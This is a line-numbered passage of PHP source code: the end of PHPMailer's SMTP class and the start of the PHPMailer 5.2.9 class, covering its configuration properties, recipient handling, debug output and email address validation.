7831 if (!array_key_exists($name, $this->server_caps)) {
7832 if ($name == 'HELO') {
7833 return $this->server_caps['EHLO'];
7834 }
7835 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
7836 return false;
7837 }
7838 $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
7839 return null;
7840 }
7841
7842 return $this->server_caps[$name];
7843 }
7844
7845 /**
7846 * Get the last reply from the server.
7847 * @access public
7848 * @return string
7849 */
7850 public function getLastReply()
7851 {
7852 return $this->last_reply;
7853 }
7854
7855 /**
7856 * Read the SMTP server's response.
7857 * Either before eof or socket timeout occurs on the operation.
7858 * With SMTP we can tell if we have more lines to read if the
7859 * 4th character is '-' symbol. If it is a space then we don't
7860 * need to read anything else.
7861 * @access protected
7862 * @return string
7863 */
7864 protected function get_lines()
7865 {
7866 // If the connection is bad, give up straight away
7867 if (!is_resource($this->smtp_conn)) {
7868 return '';
7869 }
7870 $data = '';
7871 $endtime = 0;
7872 stream_set_timeout($this->smtp_conn, $this->Timeout);
7873 if ($this->Timelimit > 0) {
7874 $endtime = time() + $this->Timelimit;
7875 }
7876 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
7877 $str = @fgets($this->smtp_conn, 515);
7878 $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
7879 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
7880 $data .= $str;
7881 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
7882 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
7883 if ((isset($str[3]) and $str[3] == ' ')) {
7884 break;
7885 }
7886 // Timed-out? Log and break
7887 $info = stream_get_meta_data($this->smtp_conn);
7888 if ($info['timed_out']) {
7889 $this->edebug(
7890 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
7891 self::DEBUG_LOWLEVEL
7892 );
7893 break;
7894 }
7895 // Now check if reads took too long
7896 if ($endtime and time() > $endtime) {
7897 $this->edebug(
7898 'SMTP -> get_lines(): timelimit reached ('.
7899 $this->Timelimit . ' sec)',
7900 self::DEBUG_LOWLEVEL
7901 );
7902 break;
7903 }
7904 }
7905 return $data;
7906 }
7907
7908 /**
7909 * Enable or disable VERP address generation.
7910 * @param boolean $enabled
7911 */
7912 public function setVerp($enabled = false)
7913 {
7914 $this->do_verp = $enabled;
7915 }
7916
7917 /**
7918 * Get VERP address generation mode.
7919 * @return boolean
7920 */
7921 public function getVerp()
7922 {
7923 return $this->do_verp;
7924 }
7925
7926 /**
7927 * Set debug output method.
7928 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
7929 */
7930 public function setDebugOutput($method = 'echo')
7931 {
7932 $this->Debugoutput = $method;
7933 }
7934
7935 /**
7936 * Get debug output method.
7937 * @return string
7938 */
7939 public function getDebugOutput()
7940 {
7941 return $this->Debugoutput;
7942 }
7943
7944 /**
7945 * Set debug output level.
7946 * @param integer $level
7947 */
7948 public function setDebugLevel($level = 0)
7949 {
7950 $this->do_debug = $level;
7951 }
7952
7953 /**
7954 * Get debug output level.
7955 * @return integer
7956 */
7957 public function getDebugLevel()
7958 {
7959 return $this->do_debug;
7960 }
7961
7962 /**
7963 * Set SMTP timeout.
7964 * @param integer $timeout
7965 */
7966 public function setTimeout($timeout = 0)
7967 {
7968 $this->Timeout = $timeout;
7969 }
7970
7971 /**
7972 * Get SMTP timeout.
7973 * @return integer
7974 */
7975 public function getTimeout()
7976 {
7977 return $this->Timeout;
7978 }
7979}
7980
7981?>
7982<?php
7983/**
7984 * PHPMailer - PHP email creation and transport class.
7985 * PHP Version 5
7986 * @package PHPMailer
7987 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
7988 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7989 * @author Jim Jagielski (jimjag) <m>
7990 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7991 * @author Brent R. Matzelle (original founder)
7992 * @copyright 2012 - 2014 Marcus Bointon
7993 * @copyright 2010 - 2012 Jim Jagielski
7994 * @copyright 2004 - 2009 Andy Prevost
7995 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
7996 * @note This program is distributed in the hope that it will be useful - WITHOUT
7997 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
7998 * FITNESS FOR A PARTICULAR PURPOSE.
7999 */
8000
8001/**
8002 * PHPMailer - PHP email creation and transport class.
8003 * @package PHPMailer
8004 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
8005 * @author Jim Jagielski (jimjag) <>
8006 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
8007 * @author Brent R. Matzelle (original founder)
8008 */
8009class PHPMailer
8010{
8011 /**
8012 * The PHPMailer Version number.
8013 * @type string
8014 */
8015 public $Version = '5.2.9';
8016
8017 /**
8018 * Email priority.
8019 * Options: 1 = High, 3 = Normal, 5 = low.
8020 * @type integer
8021 */
8022 public $Priority = 1;
8023
8024 /**
8025 * The character set of the message.
8026 * @type string
8027 */
8028 public $CharSet = 'iso-8859-1';
8029
8030 /**
8031 * The MIME Content-type of the message.
8032 * @type string
8033 */
8034 public $ContentType = 'text/plain';
8035
8036 /**
8037 * The message encoding.
8038 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
8039 * @type string
8040 */
8041 public $Encoding = '8bit';
8042
8043 /**
8044 * Holds the most recent mailer error message.
8045 * @type string
8046 */
8047 public $ErrorInfo = '';
8048
8049 /**
8050 * The From email address for the message.
8051 * @type string
8052 */
8053 public $From = 'root@localhost';
8054
8055 /**
8056 * The From name of the message.
8057 * @type string
8058 */
8059 public $FromName = 'Root User';
8060
8061 /**
8062 * The Sender email (Return-Path) of the message.
8063 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
8064 * @type string
8065 */
8066 public $Sender = '';
8067
8068 /**
8069 * The Return-Path of the message.
8070 * If empty, it will be set to either From or Sender.
8071 * @type string
8072 * @deprecated Email senders should never set a return-path header;
8073 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
8074 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
8075 */
8076 public $ReturnPath = '';
8077
8078 /**
8079 * The Subject of the message.
8080 * @type string
8081 */
8082 public $Subject = '';
8083
8084 /**
8085 * An HTML or plain text message body.
8086 * If HTML then call isHTML(true).
8087 * @type string
8088 */
8089 public $Body = '';
8090
8091 /**
8092 * The plain-text message body.
8093 * This body can be read by mail clients that do not have HTML email
8094 * capability such as mutt & Eudora.
8095 * Clients that can read HTML will view the normal Body.
8096 * @type string
8097 */
8098 public $AltBody = '';
8099
8100 /**
8101 * An iCal message part body.
8102 * Only supported in simple alt or alt_inline message types
8103 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
8104 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
8105 * @link http://kigkonsult.se/iCalcreator/
8106 * @type string
8107 */
8108 public $Ical = '';
8109
8110 /**
8111 * The complete compiled MIME message body.
8112 * @access protected
8113 * @type string
8114 */
8115 protected $MIMEBody = '';
8116
8117 /**
8118 * The complete compiled MIME message headers.
8119 * @type string
8120 * @access protected
8121 */
8122 protected $MIMEHeader = '';
8123
8124 /**
8125 * Extra headers that createHeader() doesn't fold in.
8126 * @type string
8127 * @access protected
8128 */
8129 protected $mailHeader = '';
8130
8131 /**
8132 * Word-wrap the message body to this number of chars.
8133 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
8134 * @type integer
8135 */
8136 public $WordWrap = 0;
8137
8138 /**
8139 * Which method to use to send mail.
8140 * Options: "mail", "sendmail", or "smtp".
8141 * @type string
8142 */
8143 public $Mailer = 'mail';
8144
8145 /**
8146 * The path to the sendmail program.
8147 * @type string
8148 */
8149 public $Sendmail = '/usr/sbin/sendmail';
8150
8151 /**
8152 * Whether mail() uses a fully sendmail-compatible MTA.
8153 * One which supports sendmail's "-oi -f" options.
8154 * @type boolean
8155 */
8156 public $UseSendmailOptions = true;
8157
8158 /**
8159 * Path to PHPMailer plugins.
8160 * Useful if the SMTP class is not in the PHP include path.
8161 * @type string
8162 * @deprecated Should not be needed now there is an autoloader.
8163 */
8164 public $PluginDir = '';
8165
8166 /**
8167 * The email address that a reading confirmation should be sent to.
8168 * @type string
8169 */
8170 public $ConfirmReadingTo = '';
8171
8172 /**
8173 * The hostname to use in Message-Id and Received headers
8174 * and as default HELO string.
8175 * If empty, the value returned
8176 * by SERVER_NAME is used or 'localhost.localdomain'.
8177 * @type string
8178 */
8179 public $Hostname = '';
8180
8181 /**
8182 * An ID to be used in the Message-Id header.
8183 * If empty, a unique id will be generated.
8184 * @type string
8185 */
8186 public $MessageID = '';
8187
8188 /**
8189 * The message Date to be used in the Date header.
8190 * If empty, the current date will be added.
8191 * @type string
8192 */
8193 public $MessageDate = '';
8194
8195 /**
8196 * SMTP hosts.
8197 * Either a single hostname or multiple semicolon-delimited hostnames.
8198 * You can also specify a different port
8199 * for each host by using this format: [hostname:port]
8200 * (e.g. "smtp1.example.com:25;smtp2.example.com").
8201 * You can also specify encryption type, for example:
8202 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
8203 * Hosts will be tried in order.
8204 * @type string
8205 */
8206 public $Host = 'localhost';
8207
8208 /**
8209 * The default SMTP server port.
8210 * @type integer
8211 * @TODO Why is this needed when the SMTP class takes care of it?
8212 */
8213 public $Port = 25;
8214
8215 /**
8216 * The SMTP HELO of the message.
8217 * Default is $Hostname.
8218 * @type string
8219 * @see PHPMailer::$Hostname
8220 */
8221 public $Helo = '';
8222
8223 /**
8224 * The secure connection prefix.
8225 * Options: "", "ssl" or "tls"
8226 * @type string
8227 */
8228 public $SMTPSecure = '';
8229
8230 /**
8231 * Whether to use SMTP authentication.
8232 * Uses the Username and Password properties.
8233 * @type boolean
8234 * @see PHPMailer::$Username
8235 * @see PHPMailer::$Password
8236 */
8237 public $SMTPAuth = false;
8238
8239 /**
8240 * SMTP username.
8241 * @type string
8242 */
8243 public $Username = '';
8244
8245 /**
8246 * SMTP password.
8247 * @type string
8248 */
8249 public $Password = '';
8250
8251 /**
8252 * SMTP auth type.
8253 * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
8254 * @type string
8255 */
8256 public $AuthType = '';
8257
8258 /**
8259 * SMTP realm.
8260 * Used for NTLM auth
8261 * @type string
8262 */
8263 public $Realm = '';
8264
8265 /**
8266 * SMTP workstation.
8267 * Used for NTLM auth
8268 * @type string
8269 */
8270 public $Workstation = '';
8271
8272 /**
8273 * The SMTP server timeout in seconds.
8274 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
8275 * @type integer
8276 */
8277 public $Timeout = 300;
8278
8279 /**
8280 * SMTP class debug output mode.
8281 * Debug output level.
8282 * Options:
8283 * * `0` No output
8284 * * `1` Commands
8285 * * `2` Data and commands
8286 * * `3` As 2 plus connection status
8287 * * `4` Low-level data output
8288 * @type integer
8289 * @see SMTP::$do_debug
8290 */
8291 public $SMTPDebug = 0;
8292
8293 /**
8294 * How to handle debug output.
8295 * Options:
8296 * * `echo` Output plain-text as-is, appropriate for CLI
8297 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
8298 * * `error_log` Output to error log as configured in php.ini
8299 *
8300 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
8301 * <code>
8302 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
8303 * </code>
8304 * @type string|callable
8305 * @see SMTP::$Debugoutput
8306 */
8307 public $Debugoutput = 'echo';
8308
8309 /**
8310 * Whether to keep SMTP connection open after each message.
8311 * If this is set to true then to close the connection
8312 * requires an explicit call to smtpClose().
8313 * @type boolean
8314 */
8315 public $SMTPKeepAlive = false;
8316
8317 /**
8318 * Whether to split multiple to addresses into multiple messages
8319 * or send them all in one message.
8320 * @type boolean
8321 */
8322 public $SingleTo = false;
8323
8324 /**
8325 * Storage for addresses when SingleTo is enabled.
8326 * @type array
8327 * @TODO This should really not be public
8328 */
8329 public $SingleToArray = array();
8330
8331 /**
8332 * Whether to generate VERP addresses on send.
8333 * Only applicable when sending via SMTP.
8334 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
8335 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
8336 * @type boolean
8337 */
8338 public $do_verp = false;
8339
8340 /**
8341 * Whether to allow sending messages with an empty body.
8342 * @type boolean
8343 */
8344 public $AllowEmpty = false;
8345
8346 /**
8347 * The default line ending.
8348 * @note The default remains "\n". We force CRLF where we know
8349 * it must be used via self::CRLF.
8350 * @type string
8351 */
8352 public $LE = "\n";
8353
8354 /**
8355 * DKIM selector.
8356 * @type string
8357 */
8358 public $DKIM_selector = '';
8359
8360 /**
8361 * DKIM Identity.
8362 * Usually the email address used as the source of the email
8363 * @type string
8364 */
8365 public $DKIM_identity = '';
8366
8367 /**
8368 * DKIM passphrase.
8369 * Used if your key is encrypted.
8370 * @type string
8371 */
8372 public $DKIM_passphrase = '';
8373
8374 /**
8375 * DKIM signing domain name.
8376 * @example 'example.com'
8377 * @type string
8378 */
8379 public $DKIM_domain = '';
8380
8381 /**
8382 * DKIM private key file path.
8383 * @type string
8384 */
8385 public $DKIM_private = '';
8386
8387 /**
8388 * Callback Action function name.
8389 *
8390 * The function that handles the result of the send email action.
8391 * It is called out by send() for each email sent.
8392 *
8393 * Value can be any php callable: http://www.php.net/is_callable
8394 *
8395 * Parameters:
8396 * boolean $result result of the send action
8397 * string $to email address of the recipient
8398 * string $cc cc email addresses
8399 * string $bcc bcc email addresses
8400 * string $subject the subject
8401 * string $body the email body
8402 * string $from email address of sender
8403 * @type string
8404 */
8405 public $action_function = '';
8406
8407 /**
8408 * What to use in the X-Mailer header.
8409 * Options: null for default, whitespace for none, or a string to use
8410 * @type string
8411 */
8412 public $XMailer = '';
8413
8414 /**
8415 * An instance of the SMTP sender class.
8416 * @type SMTP
8417 * @access protected
8418 */
8419 protected $smtp = null;
8420
8421 /**
8422 * The array of 'to' addresses.
8423 * @type array
8424 * @access protected
8425 */
8426 protected $to = array();
8427
8428 /**
8429 * The array of 'cc' addresses.
8430 * @type array
8431 * @access protected
8432 */
8433 protected $cc = array();
8434
8435 /**
8436 * The array of 'bcc' addresses.
8437 * @type array
8438 * @access protected
8439 */
8440 protected $bcc = array();
8441
8442 /**
8443 * The array of reply-to names and addresses.
8444 * @type array
8445 * @access protected
8446 */
8447 protected $ReplyTo = array();
8448
8449 /**
8450 * An array of all kinds of addresses.
8451 * Includes all of $to, $cc, $bcc, $replyto
8452 * @type array
8453 * @access protected
8454 */
8455 protected $all_recipients = array();
8456
8457 /**
8458 * The array of attachments.
8459 * @type array
8460 * @access protected
8461 */
8462 protected $attachment = array();
8463
8464 /**
8465 * The array of custom headers.
8466 * @type array
8467 * @access protected
8468 */
8469 protected $CustomHeader = array();
8470
8471 /**
8472 * The most recent Message-ID (including angular brackets).
8473 * @type string
8474 * @access protected
8475 */
8476 protected $lastMessageID = '';
8477
8478 /**
8479 * The message's MIME type.
8480 * @type string
8481 * @access protected
8482 */
8483 protected $message_type = '';
8484
8485 /**
8486 * The array of MIME boundary strings.
8487 * @type array
8488 * @access protected
8489 */
8490 protected $boundary = array();
8491
8492 /**
8493 * The array of available languages.
8494 * @type array
8495 * @access protected
8496 */
8497 protected $language = array();
8498
8499 /**
8500 * The number of errors encountered.
8501 * @type integer
8502 * @access protected
8503 */
8504 protected $error_count = 0;
8505
8506 /**
8507 * The S/MIME certificate file path.
8508 * @type string
8509 * @access protected
8510 */
8511 protected $sign_cert_file = '';
8512
8513 /**
8514 * The S/MIME key file path.
8515 * @type string
8516 * @access protected
8517 */
8518 protected $sign_key_file = '';
8519
8520 /**
8521 * The S/MIME password for the key.
8522 * Used only if the key is encrypted.
8523 * @type string
8524 * @access protected
8525 */
8526 protected $sign_key_pass = '';
8527
8528 /**
8529 * Whether to throw exceptions for errors.
8530 * @type boolean
8531 * @access protected
8532 */
8533 protected $exceptions = false;
8534
8535 /**
8536 * Error severity: message only, continue processing.
8537 */
8538 const STOP_MESSAGE = 0;
8539
8540 /**
8541 * Error severity: message, likely ok to continue processing.
8542 */
8543 const STOP_CONTINUE = 1;
8544
8545 /**
8546 * Error severity: message, plus full stop, critical error reached.
8547 */
8548 const STOP_CRITICAL = 2;
8549
8550 /**
8551 * SMTP RFC standard line ending.
8552 */
8553 const CRLF = "\r\n";
8554
8555 /**
8556 * Constructor.
8557 * @param boolean $exceptions Should we throw external exceptions?
8558 */
8559 public function __construct($exceptions = false)
8560 {
8561 $this->exceptions = (boolean)$exceptions;
8562 }
8563
8564 /**
8565 * Destructor.
8566 */
8567 public function __destruct()
8568 {
8569 if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
8570 $this->smtpClose();
8571 }
8572 }
8573
8574 /**
8575 * Call mail() in a safe_mode-aware fashion.
8576 * Also, unless sendmail_path points to sendmail (or something that
8577 * claims to be sendmail), don't pass params (not a perfect fix,
8578 * but it will do)
8579 * @param string $to To
8580 * @param string $subject Subject
8581 * @param string $body Message Body
8582 * @param string $header Additional Header(s)
8583 * @param string $params Params
8584 * @access private
8585 * @return boolean
8586 */
8587 private function mailPassthru($to, $subject, $body, $header, $params)
8588 {
8589 //Check overloading of mail function to avoid double-encoding
8590 if (ini_get('mbstring.func_overload') & 1) {
8591 $subject = $this->secureHeader($subject);
8592 } else {
8593 $subject = $this->encodeHeader($this->secureHeader($subject));
8594 }
8595 if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
8596 $result = @mail($to, $subject, $body, $header);
8597 } else {
8598 $result = @mail($to, $subject, $body, $header, $params);
8599 }
8600 return $result;
8601 }
8602
8603 /**
8604 * Output debugging info via user-defined method.
8605 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
8606 * @see PHPMailer::$Debugoutput
8607 * @see PHPMailer::$SMTPDebug
8608 * @param string $str
8609 */
8610 protected function edebug($str)
8611 {
8612 if ($this->SMTPDebug <= 0) {
8613 return;
8614 }
8615 //Avoid clash with built-in function names
8616 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
8617 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
8618 return;
8619 }
8620 switch ($this->Debugoutput) {
8621 case 'error_log':
8622 //Don't output, just log
8623 error_log($str);
8624 break;
8625 case 'html':
8626 //Cleans up output a bit for a better looking, HTML-safe output
8627 echo htmlentities(
8628 preg_replace('/[\r\n]+/', '', $str),
8629 ENT_QUOTES,
8630 'UTF-8'
8631 )
8632 . "<br>\n";
8633 break;
8634 case 'echo':
8635 default:
8636 //Normalize line breaks
8637 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
8638 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
8639 "\n",
8640 "\n \t ",
8641 trim($str)
8642 ) . "\n";
8643 }
8644 }
8645
8646 /**
8647 * Sets message type to HTML or plain.
8648 * @param boolean $isHtml True for HTML mode.
8649 * @return void
8650 */
8651 public function isHTML($isHtml = true)
8652 {
8653 if ($isHtml) {
8654 $this->ContentType = 'text/html';
8655 } else {
8656 $this->ContentType = 'text/plain';
8657 }
8658 }
8659
8660 /**
8661 * Send messages using SMTP.
8662 * @return void
8663 */
8664 public function isSMTP()
8665 {
8666 $this->Mailer = 'smtp';
8667 }
8668
8669 /**
8670 * Send messages using PHP's mail() function.
8671 * @return void
8672 */
8673 public function isMail()
8674 {
8675 $this->Mailer = 'mail';
8676 }
8677
8678 /**
8679 * Send messages using $Sendmail.
8680 * @return void
8681 */
8682 public function isSendmail()
8683 {
8684 $ini_sendmail_path = ini_get('sendmail_path');
8685
8686 if (!stristr($ini_sendmail_path, 'sendmail')) {
8687 $this->Sendmail = '/usr/sbin/sendmail';
8688 } else {
8689 $this->Sendmail = $ini_sendmail_path;
8690 }
8691 $this->Mailer = 'sendmail';
8692 }
8693
8694 /**
8695 * Send messages using qmail.
8696 * @return void
8697 */
8698 public function isQmail()
8699 {
8700 $ini_sendmail_path = ini_get('sendmail_path');
8701
8702 if (!stristr($ini_sendmail_path, 'qmail')) {
8703 $this->Sendmail = '/var/qmail/bin/qmail-inject';
8704 } else {
8705 $this->Sendmail = $ini_sendmail_path;
8706 }
8707 $this->Mailer = 'qmail';
8708 }
8709
8710 /**
8711 * Add a "To" address.
8712 * @param string $address
8713 * @param string $name
8714 * @return boolean true on success, false if address already used
8715 */
8716 public function addAddress($address, $name = '')
8717 {
8718 return $this->addAnAddress('to', $address, $name);
8719 }
8720
8721 /**
8722 * Add a "CC" address.
8723 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8724 * @param string $address
8725 * @param string $name
8726 * @return boolean true on success, false if address already used
8727 */
8728 public function addCC($address, $name = '')
8729 {
8730 return $this->addAnAddress('cc', $address, $name);
8731 }
8732
8733 /**
8734 * Add a "BCC" address.
8735 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8736 * @param string $address
8737 * @param string $name
8738 * @return boolean true on success, false if address already used
8739 */
8740 public function addBCC($address, $name = '')
8741 {
8742 return $this->addAnAddress('bcc', $address, $name);
8743 }
8744
8745 /**
8746 * Add a "Reply-to" address.
8747 * @param string $address
8748 * @param string $name
8749 * @return boolean
8750 */
8751 public function addReplyTo($address, $name = '')
8752 {
8753 return $this->addAnAddress('Reply-To', $address, $name);
8754 }
8755
8756 /**
8757 * Add an address to one of the recipient arrays.
8758 * Addresses that have been added already return false, but do not throw exceptions
8759 * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
8760 * @param string $address The email address to send to
8761 * @param string $name
8762 * @throws phpmailerException
8763 * @return boolean true on success, false if address already used or invalid in some way
8764 * @access protected
8765 */
8766 protected function addAnAddress($kind, $address, $name = '')
8767 {
8768 if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
8769 $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
8770 $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
8771 if ($this->exceptions) {
8772 throw new phpmailerException('Invalid recipient array: ' . $kind);
8773 }
8774 return false;
8775 }
8776 $address = trim($address);
8777 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8778 if (!$this->validateAddress($address)) {
8779 $this->setError($this->lang('invalid_address') . ': ' . $address);
8780 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8781 if ($this->exceptions) {
8782 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8783 }
8784 return false;
8785 }
8786 if ($kind != 'Reply-To') {
8787 if (!isset($this->all_recipients[strtolower($address)])) {
8788 array_push($this->$kind, array($address, $name));
8789 $this->all_recipients[strtolower($address)] = true;
8790 return true;
8791 }
8792 } else {
8793 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
8794 $this->ReplyTo[strtolower($address)] = array($address, $name);
8795 return true;
8796 }
8797 }
8798 return false;
8799 }
8800
8801 /**
8802 * Set the From and FromName properties.
8803 * @param string $address
8804 * @param string $name
8805 * @param boolean $auto Whether to also set the Sender address, defaults to true
8806 * @throws phpmailerException
8807 * @return boolean
8808 */
8809 public function setFrom($address, $name = '', $auto = true)
8810 {
8811 $address = trim($address);
8812 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8813 if (!$this->validateAddress($address)) {
8814 $this->setError($this->lang('invalid_address') . ': ' . $address);
8815 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8816 if ($this->exceptions) {
8817 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8818 }
8819 return false;
8820 }
8821 $this->From = $address;
8822 $this->FromName = $name;
8823 if ($auto) {
8824 if (empty($this->Sender)) {
8825 $this->Sender = $address;
8826 }
8827 }
8828 return true;
8829 }
8830
8831 /**
8832 * Return the Message-ID header of the last email.
8833 * Technically this is the value from the last time the headers were created,
8834 * but it's also the message ID of the last sent message except in
8835 * pathological cases.
8836 * @return string
8837 */
8838 public function getLastMessageID()
8839 {
8840 return $this->lastMessageID;
8841 }
8842
8843 /**
8844 * Check that a string looks like an email address.
8845 * @param string $address The email address to check
8846 * @param string $patternselect A selector for the validation pattern to use :
8847 * * `auto` Pick strictest one automatically;
8848 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
8849 * * `pcre` Use old PCRE implementation;
8850 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
8851 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
8852 * * `noregex` Don't use a regex: super fast, really dumb.
8853 * @return boolean
8854 * @static
8855 * @access public
8856 */
8857 public static function validateAddress($address, $patternselect = 'auto')
8858 {
8859 if (!$patternselect or $patternselect == 'auto') {
8860 //Check this constant first so it works when extension_loaded() is disabled by safe mode
8861 //Constant was added in PHP 5.2.4
8862 if (defined('PCRE_VERSION')) {
8863 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
8864 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
8865 $patternselect = 'pcre8';
8866 } else {
8867 $patternselect = 'pcre';
8868 }
8869 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
8870 //Fall back to older PCRE
8871 $patternselect = 'pcre';
8872 } else {
8873 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
8874 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
8875 $patternselect = 'php';
8876 } else {
8877 $patternselect = 'noregex';
8878 }
8879 }
8880 }
8881 switch ($patternselect) {
8882 case 'pcre8':
8883 /**
8884 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
8885 * @link http://squiloople.com/2009/12/20/email-address-validation/
8886 * @copyright 2009-2010 Michael Rushton
8887 * Feel free to use and redistribute this code. But please keep this copyright notice.
8888 */
8889 return (boolean)preg_match(
8890 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
8891 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
8892 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
8893 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
8894 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
8895 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
8896 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
8897 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8898 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
8899 $address
8900 );
8901 case 'pcre':
8902 //An older regex that doesn't need a recent PCRE
8903 return (boolean)preg_match(
8904 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
8905 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
8906 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
8907 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
8908 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
8909 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
8910 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
8911 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
8912 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8913 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
8914 $address
8915 );
8916 case 'html5':
8917 /**
8918 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
8919 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
8920 */
8921 return (boolean)preg_match(
8922 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
